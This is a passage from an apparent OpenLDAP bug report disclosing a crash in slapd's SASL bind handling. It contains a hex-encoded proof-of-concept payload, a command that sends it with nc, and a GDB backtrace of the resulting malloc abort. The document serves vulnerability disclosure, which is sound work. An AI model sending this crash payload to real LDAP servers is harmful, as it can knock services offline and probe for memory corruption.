bfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbf00000000000000febfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbf3b5e5d1743d6817779d9d3eef990ede178f7373a04f3821809f800ac200ca3bc67b32e9b2a2a3745cf67c91941a1ec2fdf50aa7a3c2dbc821831e8fcc4d15184978a6801801a76f588bfc196e924338201fe3b5e5d1743d6817779d9d3eef990ed151b1357324b332e564d4e4554312e564d2e42415345a2443042a003020102a13b30391b046c6461701b1c7739dd332d3130312e77326b332e762d37343237323839373736333432303739363739766d6e6574312e766d2e62617365a382037430820370a003020117a103020108a28203620482035ea235aaeb4b8dad2cc1a67f54db030352cc34864c8c2d36313031373033343136323732353138393733b01c6c2bb49aeded09b8644ec146d29409d71838187b135aa779ca3e35c7b3d02cc60c53d65199e04b12cdc980d05cd1b0abd83791ecee27d795679594064442bcb1ecb8639a7ef1825665683557bad4839e1a7b3cc5b76fc0ac093dcc62dd34116e7f202e38118c94c6ee468ae137aa6fce3070c081dd3941889887aac17b7b9fae6b1b432f97a905fe0765df558d738b2debc47b19b59b1c9b455cc29b88eb64620b8928714e76b310d36df7c1bfbda3fb4fbdc1fd4f34c901801a76f588bfc196e924338201fe3b5e5d1743d6817779d9d3eef990ede178f7373a04f3821809f800ac200ca3bc67b32e9b2a2a3745cf67c91941a1ec2fdf50aa7a3c2dbc821931e8fcc4d15184978a6801801a76f588bfc196e924338201fe3b5e5d1743d6817779d9d3eef990ede1" | xxd -r -p > ldap.crash ## Execute PoC (may need to be executed multiple times) $ nc 127.0.0.1 9091 < ldap.crash # GDB ... slapd: malloc.c:2379: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed. Thread 3 "slapd" received signal SIGABRT, Aborted. [Switching to Thread 0x7fffb4aba700 (LWP 3684510)] 0x00007ffff5b3a625 in raise () from /lib64/libc.so.6 Missing separate debuginfos, use: dnf debuginfo-install cyrus-sasl-gssapi-2.1.27-2.fc31.x86_64 cyrus-sasl-lib-2.1.27-2.fc31.x86_64 cyrus-sasl-plain-2.1.27-2.fc31.x86_64 keyutils-libs-1.6-3.fc31.x86_64 krb5-libs-1.17-45.fc31.x86_64 l ibcom_err-1.45.3-1.fc31.x86_64 libdb-5.3.28-38.fc31.x86_64 libgcc-9.2.1-1.fc31.x86_64 libicu-63.2-3.fc31.x86_64 libselinux-2.9-5.fc31.x86_64 libstdc++-9.2.1-1.fc31.x86_64 libuuid-2.34-3.fc31.x86_64 nss-mdns-0.14.1-4.fc31.x86_64 open ssl-libs-1.1.1d-2.fc31.x86_64 zlib-1.2.11-20.fc31.x86_64 (gdb) bt #0 0x00007ffff5b3a625 in raise () from /lib64/libc.so.6 #1 0x00007ffff5b238d9 in abort () from /lib64/libc.so.6 #2 0x00007ffff5b85a7a in __malloc_assert () from /lib64/libc.so.6 #3 0x00007ffff5b882bf in sysmalloc () from /lib64/libc.so.6 #4 0x00007ffff5b89072 in _int_malloc () from /lib64/libc.so.6 #5 0x00007ffff5b8af55 in calloc () from /lib64/libc.so.6 #6 0x00007ffff5b7ced8 in open_memstream () from /lib64/libc.so.6 #7 0x00007ffff5bf99d5 in __vsyslog_internal () from /lib64/libc.so.6 #8 0x00007ffff5bf9f4a in syslog () from /lib64/libc.so.6 #9 0x00000000004ef3b4 in slap_sasl_log (context=0x7ffff54bf110, priority=<optimized out>, message=0x7fffa8103d30 "Couldn't find mech a\202\003\336\060\202\003ڠ\003\002\001\005\241\025\033\023W2K3.VMNET1.VM.BASE\242D0B\240\003\002\001\002\241;09\033\004ldap\033\034w9\335\063-101.w2k3.vmnet1.vm.base\033\023w2k3.vmne\240\003\002\001\027\241\003\002\001\b\242\202\003b\004\202\003^\242\065\252\353K\215\255,\301\246\177T\333\003\003R\314\064\206L\214\363\266C\242\327\323\021\036\n\353\340\356\371q0\264Pl\277(\260\034l+\264\232\355\355\t\270dN\301FҔ\t\327\030\070\030{\023Z\247y"...) at sasl.c:146 #10 0x00007ffff6203344 in sasl_seterror () from /lib64/libsasl2.so.3 #11 0x00007ffff6202324 in sasl_server_start () from /lib64/libsasl2.so.3 #12 0x00000000004f1098 in slap_sasl_bind (op=<optimized out>, rs=0x7fffb4ab88b0) at sasl.c:1524 #13 0x000000000049fd28 in fe_op_bind (op=0x7fffa8003120, rs=0x7fffb4ab88b0) at bind.c:280 #14 0x000000000049f350 in do_bind (op=0x7fffa8003120, rs=0x7fffb4ab88b0) at bind.c:205 #15 0x0000000000472ca8 in connection_operation (ctx=0x7fffb4ab89e8, arg_v=0x7fffa8003120) at connection.c:1158 #16 0x0000000000471332 in connection_read_thread (ctx=0x7fffb4ab89e8, argv=<optimized out>) at connection.c:1294 #17 0x00000000005fee7a in ldap_int_thread_pool_wrapper (xpool=0xa0b9f10) at tpool.c:696 #18 0x00007ffff5e444e2 in start_thread () from /lib64/libpthread.so.0 #19 0x00007ffff5bff693 in clone () from /lib64/libc.so.6 Please let me know what additional information I can provide to successfully reproduce the issue. Note: I have also tested and reproduced the issue using the precompiled package from the Fedora repositories: openldap-servers-2.4.47-3.fc31.x86_64 (OpenLDAP: slapd 2.4.47 (Jul 25 2019 00:00:00)) -Stephan Zeisberg

1 0

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

openldap-bugs